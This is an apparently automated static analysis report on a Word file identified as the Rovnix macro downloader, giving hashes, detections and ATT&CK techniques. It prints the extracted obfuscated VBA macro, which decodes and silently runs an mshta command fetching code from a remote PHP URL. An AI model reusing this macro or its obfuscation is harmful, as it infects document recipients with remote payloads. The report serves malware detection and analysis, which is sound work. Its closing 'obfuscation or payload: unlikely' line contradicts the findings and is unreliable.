Rovnix — Office (OOXML) malware analysis

Static analysis result for SHA-256 b0457ecdcc194085…

MALICIOUS

Office (OOXML)

62.2 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-16
MD5: 86f8c16a3241f99136391428a107c30a SHA-1: a4459860666c7ef8006f01c2b787093128f17c11 SHA-256: b0457ecdcc1940850af6d858e2f2e91e555a71f250f53b7ba9d4434a81810032
322 Risk Score

Malware Insights

Rovnix · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Downloader.Rovnix-6497736-0. Static analysis reveals obfuscated VBA macros, including an Auto_Close macro and CreateObject calls, indicative of a downloader. The VBA script attempts to execute a second-stage payload, likely from a remote source, which is a common characteristic of the Rovnix family.

Heuristics 7

  • ClamAV: Doc.Downloader.Rovnix-6497736-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Rovnix-6497736-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 8569 bytes
SHA-256: 4ba9b3f34d33490319737d4be153a83a71b8f439a677448a2037b18fd1a8915f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub EYRoNMSVBrIZGL()
  ZZQMHMpWnc = "BGSNdIjXKBqQMnyjnxpwHjdoT" + LTrim("qUTyrTRgqKSFQZp") + "VduM"
CIdHdMbR = 1492 + 16 + 56
UDiQMrOYFfqT = 1586 - 812 - 1475 - 472 - 140
  Application.Run "NnxwuMNqVqZVKf"
  NKIAnYqANjwB = 442 - 287 - 959
OOcQBxBTDpO = 1999 + 1623 + 820 + 708 + 590
qbofCTQxiCA = 1901 - 1242 - 306 - 1645 - 1504 - 1310 - 1182
VYjCpTx = "zjrWkbQfUrRoEDfLGRQvZPLDqCXc" + LTrim("MdcduHPPJ") + "JLQMQV" + RTrim("gUYKwMyVBZTvKHvF") + RTrim("JFJoxiVwcxcKyIEoJOvJ")
XUkGOYjQkiNx = 690 + 982 + 1618 + 1744
XzpzjdNzQV = 1491 + 1128 + 158
End Sub
Sub NJHFwLrKRwnFpR()
  KIAQrCXzc = 516 - 779 - 1338 - 466
kRYoEnizoMZ = 176 - 1920 - 531 - 1594
FQoSKXDLZbV = 1016 + 1469
  Application.Run "RJJCCZBzrJbdRq"
  IzPyJJBrz = 913 + 1949 + 417
CbYYZbDJ = "HBZCpkvEiCj" + LTrim("PJ") + LTrim("kfRSFUOOwizDd") + "JXvyFnDMQurpRvVRGVdPFiYZMFxQ"
oGcDopqjHkxK = RTrim("TPGSgjg") + "IX" + "UbQCkwFbvALWrU" + LTrim("ENZLjQnNcHdDVCggYuqgYyb") + "vpfqKcjpbJZTRgUXdd"
HLWYWLkzYfdO = 721 + 1375 + 251 + 1903 + 574
End Sub

Sub RJJCCZBzrJbdRq()
 gJcPXzcMEwu = 887 + 1108 + 457 + 1738
pAqVKrYx = 322 - 937 - 1711 - 699 - 1643 - 1473 - 1806
kXFVTZZQ = RTrim("FiGrWddLCKGzujXBXpFuFkn") + RTrim("KBTDJBG") + "ZJEZSMTpuxrdiboHFBJypccH" + "OVEiZRHpUUon"
AFdJrQHwBrbV = "fWgZzgdSG" + "jQfxopwDyEfKPVgRWfQAXqXCB"
vNAnCnTUipW = 1354 - 1820 - 1009
 SjfpOVRdqkMbuEAA = "wCnXJKxingMrVEJEEYNBoGIHhCLVqyRbcuMXBVEMLNUzfXHWS hCLVqyRbcuMXBCLVqyRbcuMXBp://HkGOGBbLRJvWfoijowufjVEMLNUzfXHWSowudVEMLNUzfXHWSwd.cowCnXJKxingMr/OU/VEJEEYNBoGIHCLVqyRbcuMXBHkGOGBbLRJvWwCnXJKxingMr.php?uCLVqyRbcuMXBwCnXJKxingMrVEMLNUzfXHWS=brVEMLNUzfXHWSndg"
SjfpOVRdqkMbuEAA = Replace(SjfpOVRdqkMbuEAA, "wCnXJKxingMr", "m")
yJwguqzuxj = LTrim("VnYNrNFxnpfYvfZ") + LTrim("YKJAdRFyDd")
SjfpOVRdqkMbuEAA = Replace(SjfpOVRdqkMbuEAA, "VEMLNUzfXHWS", "a")
popBToU = 451 + 186 + 771 + 168
njiwUyPM = 262 + 245 + 1875 + 1989 + 359 + 1198
SjfpOVRdqkMbuEAA = Replace(SjfpOVRdqkMbuEAA, "VEJEEYNBoGIH", "s")
SjfpOVRdqkMbuEAA = Replace(SjfpOVRdqkMbuEAA, "CLVqyRbcuMXB", "t")
HduucgN = 1659 - 1527 - 57 - 1712 - 889 - 1425
bRrBNSH = 302 - 1299 - 364 - 210 - 1485
SjfpOVRdqkMbuEAA = Replace(SjfpOVRdqkMbuEAA, "HkGOGBbLRJvW", "e")
DTkUuEOyKBw = 305 + 1805 + 1781 + 1193 + 941
rKNHLzcDEn = 1546 - 807 - 1161 - 1756 - 1178 - 951
AJDRATuTVpC = "CoYiPVHKVC" + LTrim("kvEOQxoSqciNLDfxIFAoovbqbInXj") + "kZkLobjjT" + LTrim("ySJRKO")
SjfpOVRdqkMbuEAA = Replace(SjfpOVRdqkMbuEAA, "kzLOgISkDzKW", "l")
fqjDATEdKCxcwSd = "WScripquPPpkuWSqJc.ShNCAkfIpfTxYzFdJLCxSOydFSFdJLCxSOydFS"
fqjDATEdKCxcwSd = Replace(fqjDATEdKCxcwSd, "kDcFBvSLAAgi", "m")
fqjDATEdKCxcwSd = Replace(fqjDATEdKCxcwSd, "IYjUEXffGvXF", "a")
fqjDATEdKCxcwSd = Replace(fqjDATEdKCxcwSd, "xPDRwDDDnpYI", "s")
vXJFbvSyM = 792 + 1011 + 1155 + 902 + 622
fqjDATEdKCxcwSd = Replace(fqjDATEdKCxcwSd, "quPPpkuWSqJc", "t")
yLFZuwq = RTrim("NLvGwxiQZpbvKULDPzxkvAPLQ") + LTrim("OndQ") + LTrim("HJyFybNdMVBPKGzMTNYqwHXB") + LTrim("kPdfncxXVUDvVbPKrLcWJF") + "Vy"
fqjDATEdKCxcwSd = Replace(fqjDATEdKCxcwSd, "NCAkfIpfTxYz", "e")
fqjDATEdKCxcwSd = Replace(fqjDATEdKCxcwSd, "FdJLCxSOydFS", "l")
 BxOoBxwVyKFg = "dZ" + "byLKwgMYnRKqqScIPcPJCP" + "UOFOLziqcvNSuYBKr"
ydTknTgvZjPY = 798 - 1801
RooFRuCbx = "FnVIkpHNJVDIcyBpZzQgGoyjy" + "DBkjFTFFHVEbprCbGqoEnEiZn" + "kvonpPIwWzFx"
zvYBAMSW = 1609 + 384 + 1975 + 686
zADcwOM = "MFCOJULNxUxGiwCUHK" + "K" + LTrim("JjgFnuMJDyiPHcguUuSfw") + "CIYppwuQffqYZz"
 CreateObject(fqjDATEdKCxcwSd).Run SjfpOVRdqkMbuEAA, 0
 digXgKKXb = 920 + 1754 + 798 + 1388 + 1798 + 738
BLMCSCjvdUQY = 1034 + 1426 + 1520
ZLSSWxWQJTKp = RTrim("qAXORCTnLnoqCwvzqifJKrPyOZqJi") + "UFFZHuEFyDKBTVwpfKxRJFiLJO" + "ZIHTDFgPZFPCMDFIuNWqd"
 BGdWRTdzB = "nRqFCwNEOyUcRYuUbCiooXWQORPRB" + RTrim("iGHrborHnruAIywnOILMG") + "FxDQJGWGv"
zKSSiYyR = LTrim("G") + "nj" + "gnN
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 26624 bytes
SHA-256: 12a0148d2bc722e9335fa102e5503010f1778237921a389f157fca57e385a2e5
Detection
ClamAV: Doc.Downloader.Rovnix-6497736-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.